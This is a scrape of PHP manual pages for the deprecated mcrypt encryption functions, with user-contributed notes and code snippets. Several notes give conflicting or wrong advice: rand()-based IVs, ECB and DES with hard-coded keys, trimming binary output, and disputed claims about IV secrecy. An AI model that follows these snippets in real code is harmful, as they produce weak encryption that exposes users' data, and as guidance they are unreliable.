>First, the IV should be random and variable. The whole >point of it is to ensure that the same plaintext does not >encrypt to the same ciphertext every time. You most >certainly do lose security if the IV is constant or public.

Wrong, Wrong WRONG! The initialization vector is ALLOWED to be PUBLIC! It is generally sent along with the ciphertext, UNENCRYPTED.

>The ciphertext should be E(IV | plaintext, key)

Wrong again! The initialization vector is NOT prepended to the plaintext before encryption. The IV is used to seed the feedback system! (which is why you don't need one in ECB mode - there is no feedback)

>Second, the IV should not be part of the decryption >parameters at all. You should be able to decrypt the cipher >text, throw away the initial vector at the front w/o even >reading it, and have your plaintext:

Nope. You need to seed the feedback mechanism during decryption to the SAME state as it was seeded during encryption. This means using the SAME IV!
kkaiser at dataresolutions dot com 12-Jul-2006 06:04
Clarification: I meant to type MCRYPT_DEV_RANDOM, MCRYPT_DEV_URANDOM and MCRYPT_RAND in the previous note, instead of DEV_RANDOM, DEV_URANDOM and DEV_RAND. :)
kkaiser at dataresolutions dot com 11-Jul-2006 01:26
After profiling a rather large, dynamic website I maintain to determine the cause of intermittent freezing in execution, I found that calls to mcrypt_create_iv() using DEV_RANDOM as the source consistently halted execution for anywhere from 0.2 to ~12 seconds per call, ironically at random. I'm making the assumption that the halts were caused by insufficient random input being currently available in /dev/random due to its intended function to block until enough random input is provided back to the device. I've found it to be sufficient for my needs to use a modified version of the alt_mcrypt_create_iv() function found below.

Although untested, I assume using DEV_URANDOM or a combination of DEV_RAND with srand() would've solved the problem as well; I found out after the fact that /dev/urandom's intended function is to seamlessly provide cryptographically secure output from the random number generator when the /dev/urandom buffer was empty, and DEV_RAND would simply use the same rand() function as alt_mcrypt_create_iv().

-Kevin Kaiser
Anonymous 17-Oct-2005 09:01
At:
edwardzyang at thewritingpot dot com
19-Jul-2005 10:06

This is because of the fact, that (like described in the manual above) this function does NOT reseed the random number generator, in contrary to rand(). Use srand() like suggested above to get correct IVs.
04-Sep-2005 11:12
Correction to the last comment, the second parameter of rtrim() uses double quotes, not single quotes.

So the corrected code is as follows:

    $retval = rtrim($retval, "\0");    // trim ONLY the nulls at the END

;)
edwardzyang at thewritingpot dot com 19-Jul-2005 01:06
For some reason, on my Windows installation, MCRYPT_RAND doesn't work at all: it always gives the same IV. This is a huge problem, especially for OFB and CTR, where using the same IV destroys security.

Fortunantely, it's easy to emulate the IV function using other random generators that do indeed work (such as rand() ). Here's an example:

<?php

function alt_mcrypt_create_iv ($size) {
    $iv = '';
    for($i = 0; $i < $size; $i++) {
        $iv .= chr(rand(0,255));
    }
    return $iv;
}

?>

Note that this doesn't make it "more random" in any way, it just let's you use your own favorite random function to create randomness than the quirky mcrypt_create_iv.
03-Jun-2005 09:53
First, the IV should be random and variable. The whole point of it is to ensure that the same plaintext does not encrypt to the same ciphertext every time. You most certainly do lose security if the IV is constant or public.

The ciphertext should be E(IV | plaintext, key)

Second, the IV should not be part of the decryption parameters at all. You should be able to decrypt the cipher text, throw away the initial vector at the front w/o even reading it, and have your plaintext:

[IV | plaintext ] = D(ciphertext, key)

All that is public is the size of the IV.

These are well-known facts about cryptography. Check N. Kobliz's books for backup.

Unless mcrypt conforms to the above, it is very seriously flawed and should not be used.
tim at indigopixel dot com 17-Mar-2004 04:32
From http://www.ciphersbyritter.com/GLOSSARY.HTM#IV (linked to above):

"While it is often said that IV values need only be random-like or unpredictable, and need not be confidential, in the case of CBC mode, that advice can lead to man-in-the-middle attacks on the first plaintext block. If a MITM opponent knows the usual content of the first block, they can change the IV to manipulate that block (and only that block) to deliver a different address, or different dollar amounts, or different commands, or whatever. And while the conventional advice is to use a MAC at a higher level to detect changed plaintext, that is not always desirable or properly executed. But the CBC first-block problem is easily solved at the CBC level simply by enciphering the IV and otherwise keeping it confidential, and that can be reasonable even when a MAC will be used later."
robert at peakepro dot com 03-Mar-2004 12:25
It is important to note that all cipher modes except ecb require the same IV to be used in decryption as was used in encryption.

You need to pass the key *and* the IV to your decrypt function. Initializing a new IV in the decrypt routine will not work.

Since, "you even can send [the IV] along with your ciphertext without  loosing security," a nice way to handle this is to prepend your IV to your ciphertext. Since the IV is fixed-width, you can then easily recover the IV and original ciphertext using mcrypt_get_iv_size() and substr().

Here is an example:

<?PHP
function my_encrypt($string,$key) {
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mcrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       $c_t = $iv.$c_t;
       return $c_t;
   } //end if
}

function my_decrypt($string,$key) {
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = substr($string,0,$iv_size);
  $string = substr($string,$iv_size);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mdecrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       return $c_t;
   } //end if
}
// to test:
//print my_decrypt(my_encrypt("Hello, world.","foo"),"foo");
?>
fandelem at hotmail dot com 06-Mar-2002 03:59
note: if you are experiencing a problem about complaining that the second parameter has to be a 'long' and you are giving a 'string' (for me, it was using MCRYPT_URANDOM) you might want to try MCRYPT_DEV_URANDOM :)
mcrypt_cfb
mcrypt_decrypt
Mcrypt Functions


Decrypts crypttext with given parameters

mcrypt_create_iv
mcrypt_ecb
Mcrypt Functions
PHP Manual

mcrypt_decrypt

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_decrypt — Decrypts crypttext with given parameters

Description

string mcrypt_decrypt ( string $cipher , string $key , string $data , string $mode [, string $iv ] )

Decrypts the data and returns the unencrypted data.

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

key

The key with which the data was encrypted. If it's smaller than the required keysize, it is padded with '\0'.

data

The data that will be decrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

iv

The iv parameter is used for the initialization in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If you do not supply an IV, while it is needed for an algorithm, the function issues a warning and uses an IV with all its bytes set to '\0'.

Return Values

Returns the decrypted data as a string.

User Contributed Notes

beltrachi 30-Sep-2011 12:34
Caution, MCRYPT_RIJNDAEL_256 is not equivalent to AES_256.

The way to make RIJNDAEL be decrypted from AES with openssl is to use MCRYPT_RIJNDAEL_128 and padd the string to encrypt before encrypting with the follwing function:

<?php
function pkcs5_pad ($text, $blocksize) {
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}
?>

On the decryption, the choosing of AES_256 or AES_128, etc. is based on the keysize used in the crypting. In my case it was a 128bit key so I used AES_128.
evangelion207 at hotmail dot com 17-Apr-2011 08:24
Be careful, sometimes mcrypt_decrypt return additional white spaces to the uncrypted string; use trim() for deleting them. I was like 2 hours searching the error and it was that..
maciej at wiercinski dot net 09-Apr-2011 12:59
If you want to combine mcrypt with MySQL's AES_DECRYPT / AES_ENCRYPT function, please keep in mind that it uses PKCS5 padding (code from note above works just fine), what is not mentioned in MySQL's documentation at all.
Anonymous 24-Nov-2010 03:41
To remove PKCS7 padding:

<?php
    $decrypted = mdecrypt_generic($td, base64_decode($enc_auth_token));
    $dec_s = strlen($decrypted);
    $padding = ord($decrypted[$dec_s-1]);
    $decrypted = substr($decrypted, 0, -$padding);
?>
david at sickmiller dot com 02-Oct-2008 10:15
If you happen to be decrypting something encrypted in ColdFusion, you'll discover that its encrypt function apparently pads the plaintext with ASCII 4, the "end of transmission" character.

Building on eddiec's code, you can remove both nulls and EOTs with this:

<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0\4");     // trim ONLY the nulls and EOTs at the END
?>
smp_info at yahoo dot com 10-Oct-2007 11:27
Since the returned data seems to be still padded with extra characters, you can get *only* the original data that was encrypted by str_replace()'ing the \x0 characters.

<?php
$decryptedData = str_replace("\x0", '', $encryptedData);
?>
eddiec at stararcher dot com 13-Jul-2005 06:26
It appears that mcrypt_decrypt pads the *RETURN STRING* with nulls ('\0') to fill out to n * blocksize.  For old C-programmers, like myself, it is easy to believe the string ends at the first null.  In PHP it does not:

    strlen("abc\0\0") returns 5 and *NOT* 3
    strcmp("abc", "abc\0\0") returns -2 and *NOT* 0

I learned this lesson painfully when I passed a string returned from mycrypt_decrypt into a NuSoap message, which happily passed the nulls along to the receiver, who couldn't figure out what I was talking about.

My solution was:
<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0");     // trim ONLY the nulls at the END
?>
mcrypt_create_iv
mcrypt_ecb
Mcrypt Functions


Deprecated: Encrypts/decrypts data in ECB mode

mcrypt_decrypt
mcrypt_enc_get_algorithms_name
Mcrypt Functions
PHP Manual

mcrypt_ecb

(PHP 4, PHP 5)

mcrypt_ecb — Deprecated: Encrypts/decrypts data in ECB mode

Description

string mcrypt_ecb ( int $cipher , string $key , string $data , int $mode )
string mcrypt_ecb ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function is deprecated and should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_decrypt
mcrypt_enc_get_algorithms_name
Mcrypt Functions


Returns the name of the opened algorithm

mcrypt_ecb
mcrypt_enc_get_block_size
Mcrypt Functions
PHP Manual

mcrypt_enc_get_algorithms_name

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm

Description

string mcrypt_enc_get_algorithms_name ( resource $td )

This function returns the name of the algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns the name of the opened algorithm as a string.

Examples

Example #1 mcrypt_enc_get_algorithms_name() example

<?php
$td = mcrypt_module_open(MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";

$td = mcrypt_module_open('cast-256', '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";
?>

The above example will output:

CAST-256
CAST-256

User Contributed Notes

php-manual2 at omershenker dot net 13-May-2003 03:44
For some reason this function (but not mcrypt_list_algorithms()) returns each element in the array twice. If you have this problem, try array_unique(mcrypt_list_algorithms()).
mcrypt_ecb
mcrypt_enc_get_block_size
Mcrypt Functions


Returns the blocksize of the opened algorithm

mcrypt_enc_get_algorithms_name
mcrypt_enc_get_iv_size
Mcrypt Functions
PHP Manual

mcrypt_enc_get_block_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm

Description

int mcrypt_enc_get_block_size ( resource $td )

Gets the blocksize of the opened algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns the block size of the specified algorithm in bytes.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_get_algorithms_name
mcrypt_enc_get_iv_size
Mcrypt Functions


Returns the size of the IV of the opened algorithm

mcrypt_enc_get_block_size
mcrypt_enc_get_key_size
Mcrypt Functions
PHP Manual

mcrypt_enc_get_iv_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_iv_size — Returns the size of the IV of the opened algorithm

Description

int mcrypt_enc_get_iv_size ( resource $td )

This function returns the size of the IV of the algorithm specified by the encryption descriptor in bytes. An IV is used in cbc, cfb and ofb modes, and in some algorithms in stream mode.

Parameters

td

The encryption descriptor.

Return Values

Returns the size of the IV, or 0 if the IV is ignored by the algorithm.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_get_block_size
mcrypt_enc_get_key_size
Mcrypt Functions


Returns the maximum supported keysize of the opened mode

mcrypt_enc_get_iv_size
mcrypt_enc_get_modes_name
Mcrypt Functions
PHP Manual

mcrypt_enc_get_key_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_key_size — Returns the maximum supported keysize of the opened mode

Description

int mcrypt_enc_get_key_size ( resource $td )

Gets the maximum supported key size of the algorithm in bytes.

Parameters

td

The encryption descriptor.

Return Values

Returns the maximum supported key size of the algorithm in bytes.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_get_iv_size
mcrypt_enc_get_modes_name
Mcrypt Functions


Returns the name of the opened mode

mcrypt_enc_get_key_size
mcrypt_enc_get_supported_key_sizes
Mcrypt Functions
PHP Manual

mcrypt_enc_get_modes_name

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_modes_name — Returns the name of the opened mode

Description

string mcrypt_enc_get_modes_name ( resource $td )

This function returns the name of the mode.

Parameters

td

The encryption descriptor.

Return Values

Returns the name as a string.

Examples

Example #1 mcrypt_enc_get_modes_name() example

<?php
$td = mcrypt_module_open (MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_modes_name($td). "\n";

$td = mcrypt_module_open ('cast-256', '', 'ecb', '');
echo mcrypt_enc_get_modes_name($td). "\n";
?>

The above example will output:

CFB
ECB

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_get_key_size
mcrypt_enc_get_supported_key_sizes
Mcrypt Functions


Returns an array with the supported keysizes of the opened algorithm

mcrypt_enc_get_modes_name
mcrypt_enc_is_block_algorithm_mode
Mcrypt Functions
PHP Manual

mcrypt_enc_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm

Description

array mcrypt_enc_get_supported_key_sizes ( resource $td )

Gets the supported key sizes of the opened algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns an array with the key sizes supported by the algorithm specified by the encryption descriptor. If it returns an empty array then all key sizes between 1 and mcrypt_enc_get_key_size() are supported by the algorithm.

Examples

Example #1 mcrypt_enc_get_supported_key_sizes() example

<?php
    $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
    var_dump(mcrypt_enc_get_supported_key_sizes($td));
?>

The above example will output:

array(3) {
  [0]=>
  int(16)
  [1]=>
  int(24)
  [2]=>
  int(32)
}

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_get_modes_name
mcrypt_enc_is_block_algorithm_mode
Mcrypt Functions


Checks whether the encryption of the opened mode works on blocks

mcrypt_enc_get_supported_key_sizes
mcrypt_enc_is_block_algorithm
Mcrypt Functions
PHP Manual

mcrypt_enc_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_algorithm_mode — Checks whether the encryption of the opened mode works on blocks

Description

bool mcrypt_enc_is_block_algorithm_mode ( resource $td )

Tells whether the algorithm of the opened mode works on blocks (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb)..

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_get_supported_key_sizes
mcrypt_enc_is_block_algorithm
Mcrypt Functions


Checks whether the algorithm of the opened mode is a block algorithm

mcrypt_enc_is_block_algorithm_mode
mcrypt_enc_is_block_mode
Mcrypt Functions
PHP Manual

mcrypt_enc_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_algorithm — Checks whether the algorithm of the opened mode is a block algorithm

Description

bool mcrypt_enc_is_block_algorithm ( resource $td )

Tells whether the algorithm of the opened mode is a block algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE if the algorithm is a block algorithm or FALSE if it is a stream one.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_is_block_algorithm_mode
mcrypt_enc_is_block_mode
Mcrypt Functions


Checks whether the opened mode outputs blocks

mcrypt_enc_is_block_algorithm
mcrypt_enc_self_test
Mcrypt Functions
PHP Manual

mcrypt_enc_is_block_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_mode — Checks whether the opened mode outputs blocks

Description

bool mcrypt_enc_is_block_mode ( resource $td )

Tells whether the opened mode outputs blocks (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE if the mode outputs blocks of bytes, or FALSE if it outputs just bytes.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_is_block_algorithm
mcrypt_enc_self_test
Mcrypt Functions


Runs a self test on the opened module

mcrypt_enc_is_block_mode
mcrypt_encrypt
Mcrypt Functions
PHP Manual

mcrypt_enc_self_test

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_self_test — Runs a self test on the opened module

Description

int mcrypt_enc_self_test ( resource $td )

This function runs the self test on the algorithm specified by the descriptor td.

Parameters

td

The encryption descriptor.

Return Values

If the self test succeeds it returns FALSE. In case of an error, it returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_enc_is_block_mode
mcrypt_encrypt
Mcrypt Functions


Encrypts plaintext with given parameters

mcrypt_enc_self_test
mcrypt_generic_deinit
Mcrypt Functions
PHP Manual

mcrypt_encrypt

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_encrypt — Encrypts plaintext with given parameters

Description

string mcrypt_encrypt ( string $cipher , string $key , string $data , string $mode [, string $iv ] )

Encrypts the data and returns it.

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

key

The key with which the data will be encrypted. If it's smaller than the required keysize, it is padded with '\0'. It is better not to use ASCII strings for keys.

It is recommended to use the mhash functions to create a key from a string.

data

The data that will be encrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'.

The returned crypttext can be larger than the size of the data that was given by data.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

iv

Used for the initialization in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If you do not supply an IV, while it is needed for an algorithm, the function issues a warning and uses an IV with all its bytes set to '\0'.

Return Values

Returns the encrypted data, as a string.

Examples

Example #1 mcrypt_encrypt() Example

<?php
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a very secret key";
    $text = "Meet me at 11 o'clock behind the monument.";
    echo strlen($text) . "\n";

    $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_ECB, $iv);
    echo strlen($crypttext) . "\n";
?>

The above example will output:

42
64

See also mcrypt_module_open() for a more advanced API and an example.

User Contributed Notes

antonio dot daeliminare dot bonifati at gmail dot com 01-Aug-2011 05:57
If you want to be interoperable with other PKCS #7 padding implementations, like the Legion of the Bouncy Castle Java cryptography APIs, you should always pad, that is a 8-byte (block size) padding should be added, even if not necessary:

<?php

function encrypt($str, $key)
{
    $block = mcrypt_get_block_size('des', 'ecb');
    $pad = $block - (strlen($str) % $block);
    $str .= str_repeat(chr($pad), $pad);

    return mcrypt_encrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
}

function decrypt($str, $key)
{
    $str = mcrypt_decrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);

    $block = mcrypt_get_block_size('des', 'ecb');
    $pad = ord($str[($len = strlen($str)) - 1]);
    return substr($str, 0, strlen($str) - $pad);
}

?>
antonio dot daeliminare dot bonifati at gmail dot com 01-Aug-2011 03:24
Simple DES-ECB binary string encryption/decryption (no initialization vector). I implement PKCS7-padding the right way. This is better than Mcrypt default zero-padding.

<?php

function encrypt($str, $key)
{
    # Add PKCS7 padding.
    $block = mcrypt_get_block_size('des', 'ecb');
    if (($pad = $block - (strlen($str) % $block)) < $block) {
      $str .= str_repeat(chr($pad), $pad);
    }

    return mcrypt_encrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
}

function decrypt($str, $key)
{
    $str = mcrypt_decrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);

    # Strip padding out.
    $block = mcrypt_get_block_size('des', 'ecb');
    $pad = ord($str[($len = strlen($str)) - 1]);
    if ($pad && $pad < $block && preg_match(
          '/' . chr($pad) . '{' . $pad . '}$/', $str
                                            )
       ) {
      return substr($str, 0, strlen($str) - $pad);
    }
    return $str;
}
?>

I am using these functions to encrypt query strings:

<?php
const KEY = "\xc8\xd9\xb9\x06\xd9\xe8\xc9\xd2"; # Change this

# Send encrypted GET query string
$query = encrypt('field1=value1&field2=value2', KEY);
echo '<a href="script.php?' . urlencode($query) . '">link</a>';

# Receive encrypted GET query string
$query = decrypt(urldecode($_SERVER['QUERY_STRING']), KEY);
parse_str($query, $query);
$query = filter_var_array($query, array(...));

?>
Anonymous 12-May-2011 07:03
In the other notes there are some misconceptions about crypto and the IV, especially for CBC mode.

The most important point: Encryption DOES NOT provide any proof of data integrity or authentication WHATSOEVER. If you need to be sure that the data is secret and not tampered with, you need to encrypt THEN use a keyed HMAC.

For CBC mode, the IV DOES NOT need to be secret. It can be sent along with the plaintext. It needs to be UNIQUE and RANDOM. So that every message is encrypted with a different IV.

The best way to generate an IV is to use mcrypt_create_iv().

Keys must be binary, not ASCII. To create a key from a password:

<?php
$password = "MyPassword!1!";
$aes256Key = hash("SHA256", $password, true); //we want a 32 byte binary blob
?>
das700 at gmail dot com 13-Feb-2011 07:58
For anyone that wants PKCS7 compatibility (since PHP default is to use Zeros padding) I've found this to work rather well (and seems binary compatible)
<?php
header("Content-type: text/plain");
function addpadding($string, $blocksize = 32){
    $len = strlen($string);
    $pad = $blocksize - ($len % $blocksize);
    $string .= str_repeat(chr($pad), $pad);
    return $string;
}
function strippadding($string){
    $slast = ord(substr($string, -1));
    $slastc = chr($slast);
    $pcheck = substr($string, -$slast);
    if(preg_match("/$slastc{".$slast."}/", $string)){
        $string = substr($string, 0, strlen($string)-$slast);
        return $string;
    } else {
        return false;
    }
}
function keytest($keyfile = "key.key"){
    $keyfile = file($keyfile);
    $key = base64_decode($keyfile[0]);
    $iv = base64_decode($keyfile[1]);
    $enc = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, addpadding("Hello World"), MCRYPT_MODE_CBC, $iv);
    $dec = strippadding(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $enc, MCRYPT_MODE_CBC, $iv));
    echo "Encrypted:".base64_encode($enc)."\n";
    echo "Decrypted:$dec";
}
keytest();
?>

The key.key file basically just looks like this

jZjneNba78tqCuB8l8eQrXo4nCs6LmlRMflfjEdnnLg=
Uty9weAigmbjIwwng3532FJbeXxGJzhl4Ymw9ry6Slc=

And from this it is entirely compatible with C#'s PaddingMode.PKCS7 which I needed for an application I wrote, I hope this helps!
Anonymous 16-Jan-2011 11:40
I've noticed some people using a-z, A-Z and 0-9 for keys and stating things like "16 characters is a 128-bit key". This isn't true. Using only these characters, you will get at most 6 bits of entropy per chartacter:

log2(26 + 26 + 10) = 5.954196310386876

So you're actually only getting 95 bits of entropy in 16 characters, which is 0.0000000117% of the keyspace you would get if you were using the full range.

In order to get the full entropy from a key using just a-z, A-Z and 0-9 you should multiply your key length by 1.3333 to account for the 2 bits of lost entropy per byte.
Robin Leffmann 09-Mar-2010 05:58
Contrary to what is implied in the mcrypt_encrypt() manual page, as well as the info given regarding the CBC vs CFB modes, mcrypt_encrypt() works just fine for encrypting binary data as well.

A simple example verifies that the decrypted output is binary identical once cut to its original length:

<?php

// 448-bit key (56 bytes) - the only size that mcrypt/php uses for the Blowfish cipher
// (using a smaller key works just fine, as mcrypt appends \0 to reach proper key-size)
$key = 'SADFo92jzVnzSj39IUYGvi6eL8v6RvJH8Cytuiouh547vCytdyUFl76R';

// Blowfish/CBC uses an 8-byte IV
$iv = substr( md5(mt_rand(),true), 0, 8 );

// do 50 encrypt/decrypt operations on some random data, and verify integrity with md5()
for( $i = 0; $i < 50; $i++ )
{
    // create a random, binary string of random length
    $size = mt_rand( 25000, 500000 );
    $c = 0; $data = null;
    while( $c++ * 16 < $size )
        $data .= md5( mt_rand(), true );
    $data = substr( $data, 0, $size );
    $cksum = md5( $data );

    // encrypt using Blowfish/CBC
    $enc = mcrypt_encrypt( MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_CBC, $iv );

    echo $size . ' -> ' . strlen( $enc ) . ' -> ';

    // decrypt (using same IV - a must for the CBC mode)
    $dec = mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $enc, MCRYPT_MODE_CBC, $iv );

    // cut the output with substr(), NOT by using rtrim() as is suggested in some of
    // the mcrypt manual pages - this is binary data, not plaintext
    echo ( md5(substr($dec, 0, $size)) == $cksum ? 'ok' : 'bad' ) . PHP_EOL;
}

?>
jamesthome at yahoo dot com 22-Feb-2010 10:05
If you are encrypting a password and saving it into a MySQL blob field, be aware that MySQL will trim the encoded password while doing the insert.  If your encoded password has a trailing space, it will be removed on insert and decrypt will not work correctly.  However you use the encrypt function, make sure your encrypted password does not have a trailing space.
MiroBasha 13-Feb-2010 09:04
For anyone using bouncycastle lite (J2ME), don't forget to use "ZeroBytePadding".

I.e,

cipher = new PaddedBufferedBlockCipher (new CBCBlockCipher(new BlowfishEngine()), new ZeroBytePadding());
Roman Solomatin 12-Feb-2010 08:58
Keep in mind, that when you use MCRYPT_MODE_CBC then the key and IV must be the same when encrypting and decrypting data. Randomising IV does not work with MCRYPT_MODE_CBC.
Jon 28-May-2009 11:42
ECB mode has weaknesses. Use CBC mode instead.
Kai Sellgren 13-Mar-2009 03:03
There are a couple of things to remember when encrypting data.

1) For CBC, the IV must be random, but not unique. It also must not be known.
2) For CTR, the IV must be unique and not known, but does not need to be random.
3) The key of the encryption is really important.
4) The random used in the previous example of mine is not that great. The post was a response to earlier post saying "for those that just want some simple encryption/decryption". Use better random functions. MCRYPT_RAND just uses the built-in linear congruential generator, which is poor.
5) You may consider using RIJNDAEL-512 or even -1024.
6) If you want to be able to have NULL bytes in your plaintext, then you should store the plaintext length within the encrypted text to strip out padded NULL bytes.
bantam at banime dot com 08-Dec-2008 09:06
There's a lot of old information on this page, for those that just want some simple encryption/decryption try this out.

<?php
    define('SALT', 'whateveryouwant');

    function encrypt($text)
    {
        return trim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, SALT, $text, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND))));
    }

    function decrypt($text)
    {
        return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, SALT, base64_decode($text), MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND)));
    }
?>

then try out something like:

<?php
$encryptedmessage = encrypt("You're my only hope!");
echo decrypt($encryptedmessage);
?>

It should return your original message. You can remove the base64_encode and base64_decode from the functions if you want to save space on the encoded string, I use it to simplify database storage.
Anonymous 16-Oct-2007 04:15
I should mention that ECB mode ignores the IV, so it is misleading to show an example using both MCRYPT_MODE_ECB and an IV (the example in the manual shows the same thing).  Also, it's important to know that ECB is useful for random data, but structured data should use a stronger mode like MCRYPT_MODE_CBC

Also, rtrim($decryptedtext, "\0") would be a better option to remove NULL padding than my lazy trim()...
dylan at wedefy dot com 16-Oct-2007 08:27
I wasn't too impressed with the suggested functions/classes for using mcrypt, so I wrote my own class.  The encypted output is base64 encoded so it can be used in URLs, emails, etc.  MCRYPT_RIJNDAEL_256 is probably too secure for most uses, using a less secure algorithm should mean that the encryption will be faster and the encrypted output shorter (make sure to update iv_size in mcrypt_create_iv() and key length to match the new algorithm).  If you are going to use only 1 passphrase, you should define it inside __construct($this->securekey) instead of when creating the object. Keep the class in a separate include file which is only readable by your webserver (or whatever needs it) for added security.

<?php
class Cipher {
    private $securekey, $iv;
    function __construct($textkey) {
        $this->securekey = hash('sha256',$textkey,TRUE);
        $this->iv = mcrypt_create_iv(32);
    }
    function encrypt($input) {
        return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
    }
    function decrypt($input) {
        return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
    }
}

$cipher = new Cipher('secret passphrase');

$encryptedtext = $cipher->encrypt("hide me");
echo "->encrypt = $encryptedtext<br />";

$decryptedtext = $cipher->decrypt($encryptedtext);
echo "->decrypt = $decryptedtext<br />";

var_dump($cipher);
?>
davidwhthomas at gmail 30-Nov-2006 06:52
I forgot to add the sample usage for encrypting and decrypting cookies:

Set encrypted cookie:
<?php

$time = time()+60*60*24*30*12; //store cookie for one year
setcookie('cookie_name', encryptCookie('cookie_value'),$time,'/');

?>

Get encrypted cookie value:

<?php

$cookie_value = decryptCookie($_COOKIE['cookie_name']);

?>

hope it helps.
davidwhthomas at gmail 29-Nov-2006 12:41
And two more similar functions for encrypting and decrypting cookies:

<?php

function encryptCookie($value){
   if(!$value){return false;}
   $key = 'The Line Secret Key';
   $text = $value;
   $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
   $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
